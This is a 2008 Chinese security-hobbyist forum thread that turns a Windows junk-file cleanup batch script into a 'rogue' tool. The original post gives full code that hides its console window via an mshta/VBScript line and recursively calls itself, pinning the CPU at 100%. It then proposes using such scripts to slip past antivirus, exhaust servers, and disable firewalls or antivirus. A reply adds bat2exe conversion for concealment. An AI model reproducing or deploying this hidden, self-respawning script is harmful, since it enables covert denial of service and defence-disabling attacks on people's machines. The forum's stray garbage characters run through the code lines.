标题: 【原创】再谈垃圾清除的批处理和其流氓运用！ [打印本页]

---

作者: 平湖秋月    时间: 2008-9-13 23:51     标题: 【原创】再谈垃圾清除的批处理和其流氓运用！

大家经常会看到这个垃圾清除的的BAT程序，也就是很多人所说的30秒清除所有的系统他及程序    说实话这个批处理效果确实不错 ，速度快而且不重不漏！系统这下减了不少肥。不过我觉得这个BAT还是有点不很完善，要是能够自动检测系统中的垃圾文件并且删除那该多好啊！
: M0 X8 z$ K1 ~* U9 Pa.bat源代码如下：$ p& O4 ]3 \2 L: k3 M: M. Q

( r' r  z6 y$ Y1 k1 a2 y% ^3 V
1 n. F8 }, e# T6 r===可以直接保存改名a.bat=====================
& O% ?- L) u4 V* u- R5 }@echo off8 y1 M- E* N  v' s! S8 C
echo 正在清除系统垃圾文件，请稍等......
, L; j2 }: M9 N. w8 q/ a$ f@del /f /s /q %systemdrive%\*.tmp , Y" b6 h  ?! P& a
@del /f /s /q %systemdrive%\*._mp ' ~1 d4 O/ @" [6 P5 x
@del /f /s /q %systemdrive%\*.log
6 h& S) Z+ Y- X5 k! Y@del /f /s /q %systemdrive%\*.gid 5 d$ x2 C' I8 s% O0 ^9 d5 `
@del /f /s /q %systemdrive%\*.chk
: D% f+ C  g: C7 H@del /f /s /q %systemdrive%\*.old
  G4 I- N/ m6 p. Q8 o@del /f /s /q %systemdrive%\recycled\*.*
  K1 m, H4 l" r' w; |@del /f /s /q %windir%\*.bak " U$ P  K7 X, X  K
@del /f /s /q %windir%\prefetch\*.* : O( y, w. X& {  }$ y# g
@rd /s /q %windir%\temp & md %windir%\temp 2 o" ~5 f& L8 l3 k' D
@del /f /q %userprofile%\cookies\*.* 3 i  b3 E- F" |7 Z" f0 p6 U
@del /f /q %userprofile%\recent\*.*
0 L/ j& v' c! Z@del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
- x: X) p; J" T4 X; ?- |% A! h@del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
5 G) b' W- c* T0 r- G@del /f /s /q "%userprofile%\recent\*.*"
# A2 N: R8 c2 \( u0 z( cecho 清除系统LJ完成！3 k# [$ g! `  n7 L  I0 O
其实简单的一句话便实现了那个功能，在“echo 清除系统LJ完成！”后面加上一句 “call a.bat”就OK了，命令的意思大家都懂，我就不做解释了！我运行了一下，到是能够自动检测和删除了，而且关掉对话框也简单，直接关闭就行了！但是如果 被当作入侵工具却又点太暴露，并且那个DOS框始终不能隐藏，很容易被发现.这该怎么办？想想批处理里面的命令，貌似没见到有隐藏对话框的用法（如果有请告诉指教一下！我的QQ：118122875），于是到网上找了一下，决定用VBS代码实现，于是又加上了下面的代码，其实也很简单，也就加了一句话进去：# S- Z2 g/ G0 N0 s" O/ r# F6 y
6 @) e, A! K6 Q; S. t
===可以直接保存改名为a.bat(一定要是a.bat哦具体说明原因你应该明白吧======* r! Z) D& q, S) \% r' t% \, ~
@echo off- f3 \. p1 V9 z; m
if "%1" == "h" goto begin
. H  ?5 U/ Q. G( }( h% |' Bmshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit
# ~( d: k) Z4 f4 [/ g2 |:begin* d' H' T, ^: D0 S
echo 正在清除系统垃圾文件，请稍等......
9 V6 E# l0 w1 `* V: Y, j@@del /f /s /q %systemdrive%\*.tmp
7 E' x- g" P+ |" I7 {" z@del /f /s /q %systemdrive%\*._mp
9 [$ G) u2 v, b2 H@del /f /s /q %systemdrive%\*.log 7 ?% x4 _% a& D: S. E9 x
@del /f /s /q %systemdrive%\*.gid
' v* w( O- ]' {9 L6 H; k. J@del /f /s /q %systemdrive%\*.chk 2 `/ {; {, a1 X- \
@del /f /s /q %systemdrive%\*.old / @& ?" p4 m7 f- J/ l9 _; R
@del /f /s /q %systemdrive%\recycled\*.*
& V( _0 w1 A: z9 S4 r@del /f /s /q %windir%\*.bak
# F" D: X) r0 c9 Q* y% B@del /f /s /q %windir%\prefetch\*.* 3 h& a* Y9 x. H( ~6 Y! Z4 W
@rd /s /q %windir%\temp & md %windir%\temp
+ |, F1 e( J+ F3 d/ @% V/ h@del /f /q %userprofile%\cookies\*.*
. X# h4 w" l# X- d@del /f /q %userprofile%\recent\*.*
& k8 S# u/ c& H- b9 A@del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
/ ~) c; w5 }3 O; f- p# x@del /f /s /q "%userprofile%\Local Settings\Temp\*.*" 1 v& {1 p( c7 O, P7 r# S
@del /f /s /q "%userprofile%\recent\*.*"
' X! @5 f) C0 ]0 Y) k# Q7 qecho 清除系统LJ完成！
! {0 y1 f# R- p2 g5 E& _* \) p5 lcall a.bat. A' E/ A9 q  x$ \( ]
运行看看！什么效果？
( L$ B/ u; R7 e" o: y对话框消失了！打开任务管理器查看显示CPU运用：100%    看进程里面cmd.exe占用CPU：99     本来想删除这个进程，但是哪晓得点右键准备去删除那个cmd.exe，没有想到不见了，然后仔细一看，其实cmd.exe没有不见，但是已经PID不一样了，也就表示一个循环已经进行完毕,还没等你来的结束进程就已经进入下一个循环，这时候有的朋友会想可以用taskkill命令来删除进程，但是PID几乎是每2秒换一次，你的速度有那么快？！目前我还没找到解决的办法（高手请指教），无赖只好重新启动...哎！其实这都是雕虫小技，只不过是最基础的东西，但是有的时候最简单的也是最要命的！* D! f# U( Y; [3 U

% u, D  w+ ^5 M5 y你说，我们可以利用这个BAT做些什么：7 w) N: T/ ^9 C6 V" z# M
, Z; R3 G. Z, I" J
1.因为bat文件可以躲过杀软！这样利用它的无限循环启动一些你自己的程序，当然咯，重复的循环安装时没有必要的，我只是打个比方，你可以自己改动代码达到自己的目的！: ~4 C# g( A6 r
2.它循环使用消耗资源，如果这样的程序多弄几个，全部启动.你说服务器会怎么样？6 D) y1 z+ M$ o3 D
3.如果我把里面的删除垃圾文件的代码换成关闭防护墙/杀毒和开系统端口和服务的代码，那不是更好？当然这些应用都是我个人的一些分析，没有真正的实验过，我想一个可以成功的通过～不过，这个小东西还有个美中不足，cmd.exe在进程里面看得到，至于怎么隐藏，那就请各位高手指教了，在下刚刚接触批处理，莱鸟一个，有什么不对的地方和我联系啊！我的QQ：118122875 平湖秋月

---

作者: 上帝的爱    时间: 2008-9-14 05:03

想法非常不错

---

作者: 柔肠寸断    时间: 2008-9-14 17:34

打个岔，流氓的应用，呵呵

---

作者: 柔肠寸断    时间: 2008-9-14 17:38

现在来正经的回答下问题：
) v2 z* B0 l  X( m1、在bat下隐藏对话框，可以使用一个参数的，但是我记不得了
. G# \$ j& U$ R5 J. n6 T$ V5 _
+ D( s; I- B( H4 o2、可以将bat转换成exe格式的文件啊，使用bat2exe,下次我找到了就发出来哈

---

作者: 问道小生    时间: 2008-9-14 19:03

其实这个批处理还有一个问题，就是把log文件一律也作为垃圾处理了~~~  O  A% f# j: D+ A$ D& _0 e2 Y
部分软件卸载是需要log文件的，删除了它，就会造成软件无法正常卸载，或者卸载不干净。因此，log文件并不是垃圾，不同软件计录的log文件有着不同的作用，有的甚至是非常重要的，不是可以随便删除的，例如：一张CD碟片就有一个log日志文件，它主要记录EAC对CD抓轨的各项参数。

---

作者: 平湖秋月    时间: 2008-9-15 21:43

楼上的你们说的都有道理 理论上是成立的 我有时间试试看

---

欢迎光临 【3.A.S.T】网络安全爱好者 (http://www.3ast.com/)

Powered by Discuz! 7.2